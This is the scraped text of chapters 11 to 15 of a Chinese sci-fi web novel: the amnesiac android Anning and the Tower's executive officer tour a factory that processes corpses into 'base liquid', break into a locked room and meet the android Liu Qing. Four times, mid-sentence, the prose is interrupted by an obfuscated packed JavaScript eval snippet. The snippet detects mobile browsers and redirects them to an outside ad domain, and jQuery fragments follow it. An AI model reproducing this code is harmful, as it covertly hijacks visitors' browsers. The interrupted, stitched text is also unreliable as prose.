“您有什么特别喜欢的或者讨厌的吗?”安宁用汤勺搅动了几下锅底,块茎类已经融化掉了,随着搅动翻涌,湿润的热气升腾,厨房的小通风窗的玻璃蒙上一层薄雾。 她仔细地罗列,询问执行官的喜好:“里面有鸡蛋、肉片、青菜、黄色的蘑菇、褐色的蘑菇、洋葱、紫薯、胡萝卜、土豆还有玉米段。” “什么都可以。”执行官道。 安宁打开厨房橱柜,翻找了半天,从角落里拿出两对餐具,给执行官盛了一碗。 安宁盛到一半,还是觉得需要讨好一下上司,于是剩下的半碗都给他挑了这锅汤里相对美味的胡萝卜块。 这件屋子里唯一一张靠墙的桌子被安宁拉过来,横放在狭小的房间中央,变成可供两个人面对面一起吃饭的餐桌。 安宁端给执行官整碗灰色之上飘着橙红色,虽然原料食材丰富多彩但任谁看都不能说这是一碗胡萝卜汤的胡萝卜汤,客气地说:“不麻烦。” 这碗汤放在面前,执行官微不可察地顿了顿。 安宁坐下来,也觉得不太好,小声地为它辩词, “虽然它看起来像坨混着红砖块的水泥,但食物最重要的是营养均衡,这里面食材丰富品种多样,我按照标准步骤做出来的,味道不会很坏。” 安宁对后半句做了个补充:“理论上来讲。” 她补充得慢了些,执行官已经在安宁期待评价的目光下将那勺浆糊送入口,他入口的瞬间显然顿了顿,认真地品味赏鉴了会儿,最后说, “还好。” 安宁同样提起勺子尝了一口,她其实对大部分食物都接受良好,但仍对这汤的味道有些遗憾,微微皱起眉:“没有那天您带来的饭好吃。” 执行官笑了:“是吗。” 安宁本来就觉得自己的汤欠佳,一提起那天的饭,又觉余香萦绕,嘴里的汤更变得食不知味起来。 “嗯……牛排饭色香味俱全,很好。” “如果想吃,我可以再做。” 安宁一哆嗦,差点没把勺子里的汤撒了,诚惶诚恐地道:“那天的饭是您做的?” 她霎时非常不好意思起来,想起义肢负压值的事,更觉得抱歉,分外关心地问道:“聂博士说监测仪没坏,您的腿是在爆炸中从三楼跳下来后受伤了吗?伤得重吗?” 执行官:“一两天就会恢复。” “会很疼吗?聂博士说负压达到100%就已经很难忍受了,更何况您的数据已经显示到了220%,之后又和监察庭庭长谈了那么久。”安宁说,“对不起,原本聂博士很早就叫您回去的,但我以为……” 执行官:“是我自己的问题。” 安宁察觉到气氛变得有些微妙的不一样。 说不出来是变冷淡了些还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108801|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是变凝滞了些。 她用勺子戳了戳浆糊汤,停了半晌,犹豫地说:“您似乎很不愿意跟我谈论有关您的腿。” 安宁怕他介意,问清楚才好避坑:“如果您觉得冒犯的话,我往后会避开这个话题……” 执行官好笑道:“怎么会这么觉得。” “我不确定,也许感觉错了。”安宁对此没自信,“在研究院的时候,我的人类情感判断领域的实战考试一直是最低分。” “和别的仿生人比吗?” “不,和我自己比,每新考一次,都是最低分。” 执行官笑了半天。 安宁道:“您别笑话我了。” “没笑话你。” 执行官否认道:“我没有抗拒和你谈论这件事。” 安宁狐疑地盯着他的表情,找不出任何破绽,只有种直觉觉得他在撒谎。 咽下去噎喉咙的汤,把碗放入洗碗池,安宁将话头转到新话题上。 “您来找我,是有重要的事要和我说吗?” 执行官早有准备,不再扯闲话,单刀直入地道:“你的芯核丢失了?” 他的语气与其说是询问不如说是陈述,明显已经知晓。 安宁惊讶地问:“您怎么知道?” 真实原因是安宁的失忆令他猜测安宁的芯核出了问题,但执行官面不改色地胡扯说:“聂博士检测到的。” “嗯……您说的没错,确实丢了。”安宁犹疑地回道。 日理万机的执行官大人为了一个不相干的仿生人的芯核专门跑过来询问,安宁有点忐忑——难道觉得她机能缺失不堪重用,想要解雇了? 安宁尽量将这件事说得轻巧些:“只是一部分不重要的记忆丢失了,仿生人的部分功能受限,但别的都不受影响。” 执行官闻得此言,却并不像安宁预想中的反应。 空气突然很静,他很轻地重复了一句, “不重要的记忆?” 安宁觉得他的关注点产生了奇怪的偏移。 对她而言,从前的记忆并不影响现在的生存,与芯核丢失导致的生命危机相比,确实“不太重要”,于是点头附和了一声。 执行官拿起水杯,不声不响地抿了几口水,安宁猜测也许是自己做的饭不合他的胃口,说话又不够体察人心,惹人不愉快了。他之前难得露出真实而轻松柔软的气场,如今又被收回笼中。 执行官道:“今天经历的爆炸,还有发现的白色粉末,很可能都是王奉延的手笔。” “他真正的目的还未可知,但监察庭的手深得太长,既然他们先开始动了手,那塔也是时候该清理一下人手。” “我今天来,是想问你愿不愿意和我合作,做个互惠互利的共赢交易。”执行官道。 “我需要你身为仿生人的一些功能,帮助我达成目的。” 他提出了交换条件:“如果没记错,仿生人芯核的丢失关乎着性命,芯核的事,我可以帮忙。” “如果你愿意的话,我希望你能陪我去因陀罗园区西区一趟。” 12. 基液 因陀罗园区占地并不算太广,以中线为界,左右分为东区和西区。 安宁进入过的右侧楼栋,承担着“记忆清洗”的功能,被叫做东区;与之相对的左侧楼栋则是西区,之前搬运感染体的清理车的目的地便是此处。 “我们去偷您说的那个……‘基液’,这样明目张胆大摇大摆地进去,真的好吗?” 安宁心虚地推着执行官的轮椅,看他一路刷着S+权限,通过电网、西区隔断、银色金属防护门……附耳小声说。 “嗯?”执行官摆出一副没听清的样子。 “我是说……”安宁只好更凑近了点,颇为担心地问了遍。 等她说完片刻,执行官轻笑道:“不用重复,我之前听到了。” 听到了,还“嗯?”,是什么意思? 安宁不懂执行官。 西区纯白洁净的墙面上处处挂着红色三角禁区的标志符号,写着“禁入”二字,楼顶设置了狙击台,四个长着同一张脸的巡逻组成员架着枪,任何非法闯入者都会被瞬间锁脑击杀于防护门之外。 他们对执行官的出现无动于衷无波无澜,暂时放下了狙击枪,站直身体向他行了个动作标准的礼。 “塔的执行官本来就有巡查因陀罗西区的职责,就算按照例行流程,我现在也应该出现在这里。” 金属气密门伴随着智脑的权限确认的机械音缓缓自动打开,光从这扇门三卡车手榴弹炸不开的厚度来看,里面东西的重要性不言而喻。 这是个全自动化的工厂。 空气中气味刺鼻,是感染体身上特有的腐烂味道,在开门的瞬间格外浓重;身着白衣的工作者们和巡逻组同属一个品种,都是复制人的脸,面无表情地将感染者尸体从清理车的装载斗里倒出来,机械地将感染体们搬送上运转的传送带。 执行官示意安宁往空中观察廊通道的方向走。 廊桥贯通全区,和下面的工作区域同样设置了一道道的密闭门隔断。观察廊通体由透明的玻璃构成,走在上面可以很清楚地看到本区域的工作流程。 第一区域,门上刻着几个金属字: 清洗区。 白服工作者们立于长长的传送带旁边,流水线地将感染体身上的衣物以及杂物等除去,感染体随着传送带滚动。 前方是一个巨型水族馆里的圆柱状的透明玻璃机器,其中注入了一半水,转筒洗衣机似的产生漩涡,所有感染体下饺子般一个一个落入机器中。 廊桥在空中,正对着这个巨大的转筒“洗人”机器的中心高度。 玻璃洗涤机中注入了清洁液,被感染体染得浑浊暗色的水面浮起一层洁白绵密的泡沫,随着旋转搅入其中,泡沫与血污融合,变为一层暗红色的细沫。 它打开排水口,重又注入清水,反复冲洗干净,清洗了一个小时之后,所有感染体被沥干,挨个滚落到转动的传送带上,送入下一个步骤。 “我要吐了。” 安宁本来还能忍受,但在看到方钰的脸被泡得肿胀发白,同千百张脸一起挤压着,随着水流如同一件破烂衣服旋转的瞬间,差点生理性反胃,把刚吃下去的浆糊汤吐出来。 执行官轻拍了拍她的背,算作简单的安抚。 “来的路上我提醒过,画面会不太好看,要做点心理准备,你还没准备好的话我们可以回去补足一下资料。” 安宁想起来执行官在路上,问她会不会怕,她拍着胸脯信誓旦旦的样子。 “这不是做‘点’心理准备的问题。”安宁弓腰捂嘴,连连摆手,“如果您说的‘补足资料’的意思,是让我回去观看几个小时这种画面来脱敏的话,我想我还是宁愿一鼓作气忍受一会儿。” “好吧。”执行官收回安抚的手,好心地做了预告,“下个步骤是脱水。” 脱水。 想来画面也不会好看。 安宁的心头和胃里达成了同步——全在上下翻涌,瞄到执行官面色不改,恭维道: “我作为仿生人都感觉很不适,您作为人类看到同族的惨状,竟然如此淡定,不愧是统领众人的最高级别执行官,真是好胆色!” 执行官看着她轻叹了口气:“有没有人说过,你有时候很不自然,特别是模仿人类,而不是出于自己真心的时候。” 安宁尴尬道:“是吗,我以后会学习改进的。” “不用改进也没关系。” 安宁听了这话颇感大彻大悟,又多懂了点上司,于是暗自记下: 执行官喜欢听下属恭维夸赞。 说了几句话后注意力被转移,反胃的感觉好了一点,安宁重整旗鼓,顺了顺气,接着往下走。 感染体们通过传送带进入烘干区,皮肤上没有丝毫水珠后被送入下一道流程。 第二区域,脱水。 白衣工作者们面无表情地挨个将传送带上的感染体插上极细的透明胶管,从口鼻开始,到头顶、手脚、心脏、腹部…一个人几乎被插成了刺猬,接着将感染体逐一装入塑封袋中,胶管从袋口伸出来,以外被密封得密不透气。 塑封袋接入压缩装置,袋子像被抽了真空,一点点压瘪,随着压力的不断增加,连腹腔肋骨都塌陷下去。 空气抽得差不多之后,真空装置开始抽走身体里的水分。 胶管“咕噜咕噜”地开始冒泡,发出令人头皮发麻的过水的动静。 整具身体缓慢均匀地变得干瘪,不过十分钟,表皮收缩得如同干掉的豆皮,耷拉着贴在骨架上,透过薄薄的皮肤能清晰看到下面的骨骼轮廓,乃至分辨出凹凸的关节。 胶管里抽出来的液体呈浑浊的暗红色,经由千万个细管汇入了一个巨大的液体罐中,仿佛人体的经脉血管,织出一张惊心眩目的网。 被抽干的感染体仍然保持着人形,只不过除了骨骼的厚度之外,变成了纸似的薄薄一片。 这些感染体干片和它们抽出的液体分道扬镳,干片被处理纸张一样十片一摞捆成一沓放到传送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108802|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上,罐中的液体则顺着胶管输送到了下一个房间,分别被送入两条处理通路。 “脱了水的感染体还有别的作用吗?”安宁说不出心中什么感觉,只轻声问。 “在之后会进行进一步的资源回收,钙磷之类……但最重要的仍是基液。” “基液是由感染体脱水得到的液体的那部分制作出来的?” “没错。” 执行官说:“接下来是提纯。” 第三区域,提纯。 区域中心摆着一个十余米高的反应釜,机器嗡嗡作响,正前方墙壁上挂着屏幕,令人眼花的黑底绿色参数实时跳动,精度极高地监测着反应釜中的反应是否顺利进行。 它主要连接着三个胶管,一根向反应釜内流入从感染体体内抽取血的红色液体,一根向其中注入某种化学药品,促进反应,最后一根是流出管。 流入口胶管中的液体是红色,流出口的变成了透明,它比血液的质地更加粘稠,显然经过了高度提纯;另一部分,从液体中被分离而出的污水也进入了资源循环通道。 透明色的液体的量比起流入量明显更少,流入和流出的比例大概在100:1,珍重地被装入了一个个小瓶子中,最终被输送进了一间一看就很严防死守的房间里。 “这就是您说的基液。”安宁目送着承装着透明液体的瓶子消失在视线中,“具体用来做什么?” “嗯……顾名思义,基础、基本的液体。”执行官平静地说,“材料、能源、生命…有很多用途,我们的世界维系于基液之上,之后你会有机会亲眼详细了解。” 看过了基液制作的全流程后,二人下了玻璃观察廊,按着执行官所指的路走到了走廊深处,另外一间小房间前。 执行官将安宁带到监控死角处,紧靠着墙壁,示意安宁看面前房间的金属门的电子锁。 安宁身为高科技产物,扫一眼就能看出来那锁气质卓尔不凡。 执行官温温和和:“开锁。” 安宁后撤半步:“我不会。” “试试。” “我真不会。” “长官,我有很多无法理解人类的时刻,同样的道理,我知道您不是仿生人所以没办法理解——对于一个丢失了芯核的仿生人来讲,即便是一个很聪明的仿生人,这个锁也真的很难。” “聂博士找到了你原科研所的资料,不必遥遥无期地等你原来的那颗,他正在帮你制作一个仿制芯核。”执行官温柔地道,“最快不到一周就能做好,等安装了仿制芯核之后,我想会对你的能力有些帮助。” “真的吗?”安宁愁眉苦脸的神色倏地亮起来,“我会去好好感谢聂博士的。” 安宁想了想,用特别诚挚真心的眼睛看着执行官:“也很感谢您。” “所以如果你想要芯核,别忘了我们的合作条件。” 执行官在安宁心中的好形象维持不过三秒,他用一种很万恶资本家的语气说:“努力开锁吧。” 13. 开锁 在执行官的威逼利诱之下,安宁无奈地深吸一口气,抬手尝试接入电子锁端口。 “我不明白您为什么对我这么有自信。”安宁头疼地小声说。 “没关系。”执行官往轮椅后背靠了靠,很清闲的样子,“试试而已,能打开当然很好,不能打开我又不会把你怎么样。” 安宁闻言警惕了起来。 “您会觉得我这个合作伙伴没用,然后将我拆掉卖钱吗?” “不会。” “您会将我赶出塔让我流落街头饿死吗?” “不会。” “您会不给我仿制芯核吗?” 执行官手肘搭在轮椅扶手上,虚撑着下巴,笑看着她:“你是不是很期待我这次也说不会。” 安宁:“被您识破了,对不起。” 安宁叹了口气,认命地转过头去,老老实实地面壁,接入端口用意识潜入电子锁。 执行官很有耐心地等着,静静坐在轮椅之上,良久,直到见她松开手切断了连接,才开口问了句: “怎么样?” 安宁绞尽脑汁地想合适的比喻,尝试用人类能理解的方式描述。 “这个锁……就像一个数字迷宫,如果您手持钥匙,等同于站在上帝视角俯瞰,但我一进去只能站在迷宫入口,眼前路径错综复杂,要找到出口门才会开。” “按设计思路来看,锁的制作者也是仿生人,比我的等级低,这会方便很多。”安宁接着道,“但因为我没有芯核,无法处理太过庞大的算力,破解花的时间会很久,我需要一条路径一条路径地试出口。” 执行官点了点头表示明白。 “快点走!” 走廊尽头突然传来一道尖锐的男声,伴随着急促的脚步,安宁本就心虚,更是冷不防地一激灵。 “先躲一躲。”执行官简短地说。 走廊另一侧有个瘦柜子,二人藏了进去。 柜子里又暗又窄,只隐约从柜门缝隙里透进来一线细光,柜壁的隔绝之下分外安静,连外面的动静都变得瓮瓮闷闷的,与之相比更清晰的是彼此交错的呼吸声。 空间封闭幽小,执行官整个人连着轮椅进去之后便再无多余的空隙,安宁废了九牛二虎之力才勉强挤了进来,她的脚堪堪只剩半个立足之地,她面对着执行官,扭着腰,弓着身,用一种要多别扭有多别扭的姿势站得摇摇晃晃,勉强站稳。 安宁呼吸都变得艰难,又有些庆幸,半打手语半气声:“还好您的轮椅是轻便型的,不然我们要被抓包了。” 执行官轻笑:“大不了就说我们出来随便逛逛。” “在这种地方随便逛逛?”安宁抽了抽嘴角,她试图挪了挪无处安放的腿,换成单腿站着,一只手撑在执行官的轮椅扶手上,另一只手死死抵住柜壁,试图把自己卡稳当。 “站不稳的话……”执行官话说到一半。 “啊!” 一声男人的惨叫,近在咫尺,如同在安宁耳边响起。 柜子被猛烈撞击,剧烈摇晃发出一声巨响,随之不停地细细抖动,柜门顶上放置的文件夹噼里啪啦地掉了一地,惊起一股灰尘。 安宁本来就没站稳,一下子迎面撞进执行官怀里。 外面不知道发生了什么。 安宁的头一下子磕到了执行官的胸膛上,金星直冒眼前黑了三秒,差点身体不稳顺着轮椅滑下去,多亏执行官捞了她腰间一把,让她斜坐在他的身上。 执行官轻轻扶着她的腰,帮她稳住身体。 “对不起压到您了,我马上站起来……” 安宁怕被外面的人听见,极小声地,几乎贴在执行官耳廓说,“还有……您刚才想说什么?” 执行官被安宁的呼吸扫得很痒,微微地往后撤了撤,用轻得如同耳语的气音说:“站不稳的话坐着吧。” 安宁想说没地方坐,反应了几秒才知道他是说可以坐在他的腿上。 安宁小声说:“谢谢您,您真是个体察下属的好上司。” 看不到外面情形让人没有安全感,安宁缓慢地蹭着挪动身体,要避免发出动静,又怕弄伤执行官的腿,小心谨慎地蹭了半天,终于能从柜门的细缝里瞄到一点外面的场景。 “废物的东西!” 竟是王奉延。 一个男仿生人被王奉延一脚踹到了柜门上,他背倚着柜子缓缓滑倒下去,捂着细瘦的腰腹,嘶嘶地倒吸着凉气,站也站不起来。 王奉延抬脚欲再踢人,被男仿生人下意识地抬起胳膊格挡的力道反推,踉跄着后退了几步,瞬间更加怒不可遏。 “我踹你你还敢挡着?” “不仅安装的炸弹没伤到人分毫,还总是惦记你那破盒子,我真是好奇里面到底有什么。”王奉延气极反笑,“要不是你出自S001科研所,还算有点用,像这种不忠心于主的仿生人,我早就把你销毁了。” 安宁透过细缝,看到男性仿生人的脸——半边是人类表皮,半边露出了机械内芯,显然缺乏修缮维护。 王奉延背着手踱步,语气睥睨:“很多东西都应该明白自己是什么,站在应该在的位置上。感染体是原料,塔的那群人是一把趁手的刀,而你们仿生人只是机器,好好当个工具,不要生异心,不要生‘思想’,‘思想’不是你们该有的东西。” “这是我最后一次告诫提醒你,如果再让我发现你去偷你的破盒子,即便有风险,我也会对你进行强制复原初始数据。” 男仿生人低垂着头,眼神涣散地颤抖着移开挡住肚子的手臂,将脆弱的腹部暴露出来,不再反抗。 “不……不要,咳……咳咳……复原我的数据。”他边咳边说。 见他听话,王奉延露出笑,又往他肚子上狠狠踹了一脚,连带着柜子发出“咚”的撞击声。 男仿生人将闷哼硬生生咽回肚子里,没发出多余的动静,半边机械脸上的齿轮滋啦滋啦地转动,像在无声地代替他发出阵阵悲鸣。 安宁听得一股愤怒涌上心头。 末了,王奉延丢下一句, “不管你用什么手段,我要把这箱基液的单号从智脑里抹平,让它消失。” 王奉延离开后,男仿生人不敢多休息,缓了几秒便从地上爬起来,打开锁钻进了房间中。 “虽然和我不是一类仿生人——我的仿真度更高,拨开表皮也看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108803|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到金属制的机械零件,但我能感觉到……” 安宁小声说:“他很悲惨,他很难过。” “嗯。” “我们仿生人是有感情的,不是工具。”安宁反驳王奉延的话。 执行官说:“也许吧。” 从认识执行官起,他们之间说过许多句话,但这句仿佛尾音绑上了火箭筒,一秒窜高,瞬间跻身于“安宁不喜欢”的排行榜前列。 “也许?”安宁说,“您不认为我有感情?” “我不了解你们,有部分人认为无论科技如何发展,仿生人天生不可能和真正的人类一样拥有情感。” “我知道有这种说法,王奉延就是那样的人,您也是吗?”安宁觉得有点失望。 执行官没回应,但安宁能感觉到他在认真听,于是忍不住多说了几句。 “感情是我们仿生人最为之努力的一课。您想想,如果您从出生开始就学习一门课程,十年乃至二十年都非常努力,好不容易通过了种种测试,得到了合格证书,最后被说天生就不可能学会这门课程,您是什么心情?” “之前无论您杀死被感染的人们,还是对基液残酷的制作过程无动于衷,那是您的职责,我从没觉得您是坏人,但现在我觉得您是个坏人了。” “你误会了,我不是这个意思。”执行官说。 “我说‘也许’,是因为之前有一位我很信任的,承担了生命中最重要角色的仿生人朋友,背叛抛弃过我,所以我很怀疑你们是否能真正产生情感。”执行官说,“这只是出于我个人经历得出的结论。” 安宁说:“那位仿生人个人的不道德行为不能涵盖整体,就像人类里有坏蛋一样,仿生人里也有背信弃义的坏蛋。” “好吧,我承认是我的错。”执行官说。 执行官不动声色地结束了这段对话,同时安抚道:“别生气。” 他说这话一层是安抚,一层也从逻辑上表示他认同安宁有情感,才会说出“别生气”,她便不好继续和他争论这个话题了。 安宁:“长官,我不仅有道德讲义气,还是个情绪稳定的仿生人,我没有生气。” 安宁也觉得自己冲动多嘴,不欲再说,仔细想想她有没有情感和他又有什么关系,她并不需要执行官的认同。 她说:“您现在打算怎么办?接着开锁吗,那位仿生人还在里面。” “开吧。仿生人我来解决。” 安宁提高效率,屏气凝神专注于电子锁上,二人许久无话。 “锁开了。”安宁道。 执行官手里的枪上了膛,见安宁担心犹豫地看着,说:“放心,我不会杀死他。” 打开门,男仿生人背对着二人正窸窸窣窣地不知在做什么,闻得声响惊恐的目光投过来,却在看清安宁的脸的瞬间眼神骤变。 执行官察觉到不对,没有动枪,不动声色地收了回去。 “老大!!!” 男仿生人见了安宁竟如同见了亲人一般,弱柳扶风,泫然欲泣,徐徐拜倒在安宁脚边,扭着腰抱住了安宁的大腿,声泪俱下: “老大,您竟然没被销毁啊……咳咳……呜呜呜啊!” 14. 柳青 安宁试图将自己的大腿从男仿生人的怀里拔出来,拔了半天越拔越紧,如同绑了千钧石块陷入泥沼吸力强劲。 安宁放弃解救她的腿,无奈道:“这位,你是不是认错人了?我们不认识。” “安宁,你不记得我了?”男仿生人忧伤地说,“我们曾经海角天涯,海誓山盟,海枯石烂,携手共度的千万个良辰美景,你都不记得了?” 安宁如雷轰顶,被简单的一句话震在了原地。 “看来是你曾经的风流债。”执行官淡淡地说。 “我看起来是会有‘风流债’的仿生人吗?”安宁不明白事情怎么突然发展成这样,头都大了。 男仿生人柔情似水:“怎么会认错?怎么会不认识?我的名字柳青,还是老大您给我取的呢。” 安宁:…… 执行官意味不明地泄出点轻如气息的笑:“柳青?很好听的名字。” “我也如此觉得,古风古韵,意境十足,很好听。”柳青媚眼如丝,害羞道。 安宁看着执行官的笑,不知为何觉得后背一阵凉飕飕。 “老大,这双眼睛还是你给我挑的呢。” 柳青塌腰扭胯,像只狐狸成精半趴在地上,由下至上风情万种地掀眼看着安宁,生锈的机械零件嘎达嘎达地响,安宁生怕他把腰扭折了。 “老大你仔细看看,能想起来一点吗?” 柳青睁着一双盛着泪水可怜可爱的小鹿眼,他的神色带媚,添之几分春色风情在眼中,衬着淡青瞳色,如同一片桃花花瓣飘飘摇摇落入泉水漾起一圈圈涟漪,当真有几分美人色相。 执行官神情奇怪:“你喜欢这款的?” 安宁:? 安宁已经麻木了,左右两个人都莫名其妙,她半梦半醒地回执行官:“您在说什么?” 柳青沉醉地替安宁接上执行官的话:“当然,老大挑眼珠的时候说这款最好看了,而且和老大的眼睛很配对。” 柳青软骨如蛇地将安宁扒拉蹲下来,将脸凑到安宁脸庞旁边,对比着问执行官:“您看,是不是很像?” 执行官:“浅棕色和青色,没看出哪里像。” 柳青有些不满:“形状,是形状!” 他想了想,又难过地摸着自己半边机械脸:“确实没有老大好看……毕竟老大是最像人类的一个,而我已经破旧不堪容颜不复了。” 安宁:…… 安宁:“你能别叫我老大了么?听着很别扭。” 柳青含情脉脉地看着安宁,娇羞道:“安宁。” 安宁:。 “要不然还是换回去吧。”安宁头疼地说。 “好,您说什么就是什么。”柳青说。 柳青犹抱琵琶半遮面地抚摸着自己的半张脸,脸上齿轮悲伤地转动:“您再看看呢?真的想不起来吗?” 安宁蹲着身子,咬着腮帮子皱眉看了半天:“仔细看……好像有点眼熟。” 她倒不是安慰柳青,看着柳青机械的半边脸,真有几分熟悉感。 执行官不知为何笑了,半晌,仿若自语, “他你倒是记得?” 他这笑和平时有些不同,更像被气笑的,安宁觉得很新奇,不免多看了眼执行官。 柳青的神态种种不似作假,安宁其实已信了七八分,不过还是问道, “你有什么能让我相信你的证据吗?” “老大,虽然知道你失忆了,但你这么说还是太伤我的心。”柳青睁着一双顾盼流连的眼睛,盈满一汪泪水,很惹人垂怜地强忍住不让眼泪掉下来。 “王奉延手里有一个保险盒,里面装着您1/4的芯核碎片,还有一个S001科研所的硬盘,是当年我拼尽全力保全下来的。十年来虽然您的芯核碎裂,下落不明,但我相信您一定没被销毁。我落入王奉延手中,不得自由身,但仍拼尽全力将它保留下来,只为有朝一日再见到您。”柳青深情地说,端的是一派小意温柔。 安宁:“谢谢你。” “老大,你……可不可以把我从王奉延手里救出来。”柳青犹豫许久,诺诺地问,又很懂事地加了一句,“如果很危险的话就算了,我宁可在王奉延身下委曲求全,也不愿看到你为我陷入危险。” 现在的情况很明晰:执行官要推倒王奉延,安宁的芯核碎片在王奉延手中,柳青需要救,目标一致,一举三得。 执行官:“你的投诚状呢?” “我可以对安宁开放一切权限。”柳青梨花带雨地向安宁抛了个媚眼,“您想对我做什么都可以,任君处置,为所欲为。” 对于仿生人而言,开放一切权限等同于将自己的性命交到别人手上,是最值得信赖的投诚状。 安宁:“好。” 执行官垂眸,嘴角挂着一抹温和笑意, “我很好奇你是被什么数据库喂养出来的,能养成这么有趣的性格。”执行官说。 柳青边对安宁打开权限,边道:“多是末世前流行的古风网络文学作品,我更偏好文字情感类,处理数据非我所长,总是叫我头晕眼花,王庭长太难为人。” 柳青叫苦不迭,想到王奉延从前种种,多说了几句泪水又要滚落出来。 安宁:“别哭。” 柳青感动道:“您心疼我。” 安宁心说只是她一看人哭哭啼啼就不知道怎么办,略觉得头疼,但说出来显得太直白,柳青在王奉延手下又过得不好,怕伤害他的心,于是没多解释。 执行官笑看着他们两个握着手传送数据,看了一会儿,最后轻轻移开了视线。 柳青向安宁打开了全部权限,王奉延只给他下命令拿他当工具,并没告知他太多信息,他不太知道王奉延在搞什么勾当,只说之前爆炸的炸药和粉末确实是王奉延的手笔。 “我会确保你们拿走的基液不会被王奉延发现的。”柳青最后说。 * 安宁和执行官回到塔内G1科研层休息厅,发现里面不止聂远山在。 “博士,肌肉强力素,一支,就一支,我真的需要它。” 066满头流汗,刚从训练场出来,训练服湿透了皱皱巴巴地贴在身上变成了紧身衣,他提着一扇宽刀,刀尖一路拖地,花了大力气才把刀重新扛起来。 “博士,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108804|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来借书。”077扫了一眼066的狼狈样子,吐槽道,“临时抱佛脚,平时不知道锻炼,半年不见得你去训练场一次。” “能抱一点是一点,你不也一样。” 安宁翻口袋把基液交给聂博士,执行官说:“麻烦您尽快出检测报告。” “今天可真热闹啊,都来找我要东西。”聂远山捋着山羊胡子,一掌把066拍开,“你,不行,肌肉强力素不能打,自己多练练去。” 他又对077说:“罗刃,你刚结束清理行动,多休息休息,这两天看的已经够多了。” 066穿着粗气“诶——”了一声:“对她就多休息,对我就多练练。” 077不再理他,转而对安宁打了声招呼:“安宁你好,在这里你可以叫我罗刃。” 她补充道:“之前在外面按规矩只能叫编号。” “沈卓。”066上气不接下气地说。 聂远山向安宁解释:“是这样的,塔处于智脑的监控之内,G1科研层内部和执行官的私人房间是唯二两处脱离了智脑监控的‘安全港’,我不太擅长这个,学了好久才勉强开辟出这两块地方,在这里大家可以随意交谈。” “大家这是要做什么?” 沈卓愁道:“执行官水平测试,在后天进行。” 安宁不知为何,心头浮上一缕不安。 爆炸、粉末、野心勃勃的035、近在咫尺的执行官水平测试,种种巧合叠加在一起,就不是巧合了。 “您也要参加吗?”安宁对着执行官问。 聂远山说:“都得参加。还记得我和你说过吗?最高等级执行官的必要条件是作战能力最强的一位。” “‘作战能力’就是通过一年一次的测试评价出来的,如果这次第一仍然是他,那就是他连任的第十年,可不容易啊。” 聂远山坐到休息沙发上,叹了口气,有些担心:“当执行官的黄金年龄是二十岁上下,超过二十五岁之后无论是反应能力还是身体素质都不如从前,更何况执行各种任务也是对身体的巨大消耗,所以没人能连任很多年,幸运的一身伤病地退位让贤了,不幸的……怎么死的都有。” 沈卓打开冰箱捞出来一瓶气泡饮品,咕咚咕咚灌了半瓶,缓过口气来:“您怎么说得那么丧气啊。” 聂远山斜扫了他一眼:“最高级别执行官如果是自己退任的倒还好,被踹下来的结局可都不太好看,失去了权利庇护,新仇旧恨,虎落平阳……你年轻没见过,我老头子看得还少吗。” 聂远山转过头,对执行官说:“你的腿今天早上刚受了伤,后天就是测试,我看今年的第一位很难保住。如果继位者是罗刃就没什么大问题。” “如果是035就比较难受了。” 沈卓没心没肺地接着他的话头说,说完才觉得自己说多了,讪讪地摸了摸鼻子。 聂远山鼻孔出气,抄起沈卓撂在一旁的重刀敲了他后脑勺一刀背。 他对一旁不知听没听他讲话的执行官道:“我知道你不是主动卸任的性子,怎么劝也劝不住,但我还是要说一句,别太虐待自己,别太相信人定胜天。” 15. 执行官测试 “清理行动”告一段落,G1于凌晨历经了一场大规模的屠杀,不过几个小时,塔前堆积感染体的场地之上血痕被清扫干净,洁净如新;艳阳普照,人们工作如常,生活照旧,一切如同没发生过。 后天是执行官测试,所有人都很忙碌,这场测试与安宁无关,她得了空,在外城区无所事事地游荡。 安宁记得不久前,她之所以能顺利偷潜入核心区,是因为发现电网有个缺口,她从缺口处钻了过来。 